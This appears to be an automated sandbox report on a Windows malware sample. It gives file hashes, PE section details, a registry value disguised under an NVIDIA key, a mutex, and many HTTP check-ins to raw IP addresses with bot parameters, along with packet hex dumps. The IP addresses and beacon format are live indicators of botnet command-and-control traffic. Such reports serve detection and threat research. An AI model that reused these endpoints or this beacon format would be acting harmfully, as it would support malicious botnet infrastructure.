Analysis Date2014-09-25 00:30:56
MD5aa1090668d3a08f2135337b3f019e3c6
SHA182a55b153d91b2d52ab8609ccd6fd6c0142238a4

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386
Section.text md5: 8dd1904a7275b6f4d6d02c277477e74d sha1: 135e69d25d0bed9a89c8cb8c5edd97af4243f22d size: 8192
Section.rdata md5: cbaeaa9915e92e2d8087eebf1bce4d25 sha1: 4a2adde1dd8fdfdd01434382bf04a36a3942d797 size: 4096
Section.data md5: 418c01fc8791a4db607dcc118771f531 sha1: 0a72ed6518b1c1e9892a4efe1e11a8a517e13780 size: 20480
Section.idata md5: 2f9ab99cc86e5bc04c1cf707d0bc707e sha1: 53b301f76648a41ad7f69f6787e3dbc47bf30a06 size: 4096
Section.rsrc md5: 2b3e5413b60c7f89d2349ff29a6da86a sha1: 30837125941c72c17a63057081a26a29287f1e6e size: 28672
Sectionreloc md5: 0132625760b471b5f5c88bfd26e281f3 sha1: 2063aae3a28d0b50ece86bb66412fe364338efd6 size: 4096
Timestamp2014-08-09 17:31:38
PEhash3172d116ea0e9053799ce5b55f9a02af7c25a734
IMPhash60ff1adac03b0fe258a0191f0ece9e9f

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates ProcessC:\malware.exe

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\SOFTWARE\NVIDIA Corporation\Global\nvUpdSrv\value ➝
20140824\\x00
Creates File\Device\Afd\Endpoint
Creates MutexGlobal\MD7H82HHF7EH2D73

Network Details:

HTTP GEThttp://80.94.26.250:19285/stat?uid=100&downlink=1111&uplink=1111&id=0037908C&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.184.9.198:29296/stat?uid=100&downlink=1111&uplink=1111&id=0037A4C0&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://216.18.197.130:28430/stat?uid=100&downlink=1111&uplink=1111&id=0037B886&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://200.142.192.21:18811/stat?uid=100&downlink=1111&uplink=1111&id=0037CC6C&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://217.28.192.36:37228/stat?uid=100&downlink=1111&uplink=1111&id=0037E033&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://80.67.28.188:25548/stat?uid=100&downlink=1111&uplink=1111&id=0037F3F9&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://198.7.58.68:23480/stat?uid=100&downlink=1111&uplink=1111&id=003807CF&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://85.232.57.16:12320/stat?uid=100&downlink=1111&uplink=1111&id=00381B96&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://188.165.17.213:51340/stat?uid=100&downlink=1111&uplink=1111&id=00382F7B&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://149.126.74.93:15539/stat?uid=100&downlink=1111&uplink=1111&id=00384361&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://192.200.16.140:32872/stat?uid=100&downlink=1111&uplink=1111&id=00385747&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://159.253.4.167:13737/stat?uid=100&downlink=1111&uplink=1111&id=00386B1D&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://162.243.221.232:46248/stat?uid=100&downlink=1111&uplink=1111&id=00387F03&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://159.253.4.167:13737/stat?uid=100&downlink=1111&uplink=1111&id=003892F8&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.18.137.179:17653/stat?uid=100&downlink=1111&uplink=1111&id=0038A6DE&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://162.243.221.232:46248/stat?uid=100&downlink=1111&uplink=1111&id=0038BAB4&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://194.23.116.213:26084/stat?uid=100&downlink=1111&uplink=1111&id=0038CE7B&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://188.165.17.213:51340/stat?uid=100&downlink=1111&uplink=1111&id=0038E251&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://5.77.49.215:49878/stat?uid=100&downlink=1111&uplink=1111&id=0038F617&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://50.28.0.72:25880/stat?uid=100&downlink=1111&uplink=1111&id=003909CE&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://198.7.58.68:23480/stat?uid=100&downlink=1111&uplink=1111&id=00391D85&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://165.254.11.50:47646/stat?uid=100&downlink=1111&uplink=1111&id=0039316B&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://212.58.4.190:19413/stat?uid=100&downlink=1111&uplink=1111&id=00394550&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://146.185.157.42:49105/stat?uid=100&downlink=1111&uplink=1111&id=00395927&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://176.34.21.1:33679/stat?uid=100&downlink=1111&uplink=1111&id=00396D0C&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://176.28.50.147:58264/stat?uid=100&downlink=1111&uplink=1111&id=003980F2&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://90.189.192.11:34907/stat?uid=100&downlink=1111&uplink=1111&id=003994F7&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.18.137.179:17653/stat?uid=100&downlink=1111&uplink=1111&id=0039A90C&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://195.12.48.190:61307/stat?uid=100&downlink=1111&uplink=1111&id=0039BD01&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://208.53.168.90:39862/stat?uid=100&downlink=1111&uplink=1111&id=0039D0D7&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://84.200.5.171:12825/stat?uid=100&downlink=1111&uplink=1111&id=0039E48E&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://162.243.221.232:46248/stat?uid=100&downlink=1111&uplink=1111&id=0039F855&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://212.83.149.150:62059/stat?uid=100&downlink=1111&uplink=1111&id=003A0C0B&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://173.236.10.10:47298/stat?uid=100&downlink=1111&uplink=1111&id=003A2001&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://103.248.82.41:21999/stat?uid=100&downlink=1111&uplink=1111&id=003A33D7&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.33.197.36:31571/stat?uid=100&downlink=1111&uplink=1111&id=003A479D&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://188.165.186.236:22512/stat?uid=100&downlink=1111&uplink=1111&id=003A5B74&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://54.247.67.39:24247/stat?uid=100&downlink=1111&uplink=1111&id=003A6F3A&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://216.177.150.107:20261/stat?uid=100&downlink=1111&uplink=1111&id=003A8310&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://200.142.192.21:18811/stat?uid=100&downlink=1111&uplink=1111&id=003A96F6&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://216.18.197.130:28430/stat?uid=100&downlink=1111&uplink=1111&id=003AAACC&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://108.178.62.114:28654/stat?uid=100&downlink=1111&uplink=1111&id=003ABEA2&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://217.28.192.36:37228/stat?uid=100&downlink=1111&uplink=1111&id=003AD259&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=003AE620&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://62.108.136.74:30170/stat?uid=100&downlink=1111&uplink=1111&id=003AF9D6&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://82.194.241.7:37399/stat?uid=100&downlink=1111&uplink=1111&id=003B0D9D&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
HTTP GEThttp://212.83.149.150:62059/stat?uid=100&downlink=1111&uplink=1111&id=003B2154&statpass=bpass&version=20140824&features=30&guid=668d3db6-d0af-4c68-88f6-0877d391776a&comment=20140824&p=0&s=
User-Agent:
Flows TCP192.168.1.1:1032 ➝ 80.94.26.250:19285
Flows TCP192.168.1.1:1032 ➝ 80.94.26.250:19285
Flows TCP192.168.1.1:1033 ➝ 195.184.9.198:29296
Flows TCP192.168.1.1:1034 ➝ 216.18.197.130:28430
Flows TCP192.168.1.1:1035 ➝ 200.142.192.21:18811
Flows TCP192.168.1.1:1036 ➝ 217.28.192.36:37228
Flows TCP192.168.1.1:1037 ➝ 80.67.28.188:25548
Flows TCP192.168.1.1:1038 ➝ 198.7.58.68:23480
Flows TCP192.168.1.1:1039 ➝ 85.232.57.16:12320
Flows TCP192.168.1.1:1040 ➝ 188.165.17.213:51340
Flows TCP192.168.1.1:1041 ➝ 149.126.74.93:15539
Flows TCP192.168.1.1:1042 ➝ 192.200.16.140:32872
Flows TCP192.168.1.1:1043 ➝ 159.253.4.167:13737
Flows TCP192.168.1.1:1044 ➝ 162.243.221.232:46248
Flows TCP192.168.1.1:1045 ➝ 159.253.4.167:13737
Flows TCP192.168.1.1:1046 ➝ 178.18.137.179:17653
Flows TCP192.168.1.1:1047 ➝ 162.243.221.232:46248
Flows TCP192.168.1.1:1048 ➝ 194.23.116.213:26084
Flows TCP192.168.1.1:1049 ➝ 188.165.17.213:51340
Flows TCP192.168.1.1:1050 ➝ 5.77.49.215:49878
Flows TCP192.168.1.1:1051 ➝ 50.28.0.72:25880
Flows TCP192.168.1.1:1052 ➝ 198.7.58.68:23480
Flows TCP192.168.1.1:1053 ➝ 165.254.11.50:47646
Flows TCP192.168.1.1:1054 ➝ 212.58.4.190:19413
Flows TCP192.168.1.1:1055 ➝ 146.185.157.42:49105
Flows TCP192.168.1.1:1056 ➝ 176.34.21.1:33679
Flows TCP192.168.1.1:1057 ➝ 176.28.50.147:58264
Flows TCP192.168.1.1:1058 ➝ 90.189.192.11:34907
Flows TCP192.168.1.1:1059 ➝ 178.18.137.179:17653
Flows TCP192.168.1.1:1060 ➝ 195.12.48.190:61307
Flows TCP192.168.1.1:1061 ➝ 208.53.168.90:39862
Flows TCP192.168.1.1:1062 ➝ 84.200.5.171:12825
Flows TCP192.168.1.1:1063 ➝ 162.243.221.232:46248
Flows TCP192.168.1.1:1064 ➝ 212.83.149.150:62059
Flows TCP192.168.1.1:1065 ➝ 173.236.10.10:47298
Flows TCP192.168.1.1:1066 ➝ 103.248.82.41:21999
Flows TCP192.168.1.1:1067 ➝ 178.33.197.36:31571
Flows TCP192.168.1.1:1068 ➝ 188.165.186.236:22512
Flows TCP192.168.1.1:1069 ➝ 54.247.67.39:24247
Flows TCP192.168.1.1:1070 ➝ 216.177.150.107:20261
Flows TCP192.168.1.1:1071 ➝ 200.142.192.21:18811
Flows TCP192.168.1.1:1072 ➝ 216.18.197.130:28430
Flows TCP192.168.1.1:1073 ➝ 108.178.62.114:28654
Flows TCP192.168.1.1:1074 ➝ 217.28.192.36:37228
Flows TCP192.168.1.1:1075 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1076 ➝ 62.108.136.74:30170
Flows TCP192.168.1.1:1077 ➝ 82.194.241.7:37399
Flows TCP192.168.1.1:1078 ➝ 212.83.149.150:62059

Raw Pcap
0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333739 30384326 73746174 70617373   037908C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333741 34433026 73746174 70617373   037A4C0&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333742 38383626 73746174 70617373   037B886&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333743 43364326 73746174 70617373   037CC6C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333745 30333326 73746174 70617373   037E033&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333746 33463926 73746174 70617373   037F3F9&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333830 37434626 73746174 70617373   03807CF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333831 42393626 73746174 70617373   0381B96&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333832 46374226 73746174 70617373   0382F7B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333834 33363126 73746174 70617373   0384361&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333835 37343726 73746174 70617373   0385747&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333836 42314426 73746174 70617373   0386B1D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333837 46303326 73746174 70617373   0387F03&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333839 32463826 73746174 70617373   03892F8&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30333841 36444526 73746174 70617373   038A6DE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38323426 66656174 75726573   0140824&features
0x00000060 (00096)   3d333026 67756964 3d363638 64336462   =30&guid=668d3db
0x00000070 (00112)   362d6430 61662d34 6336382d 38386636   6-d0af-4c68-88f6
0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

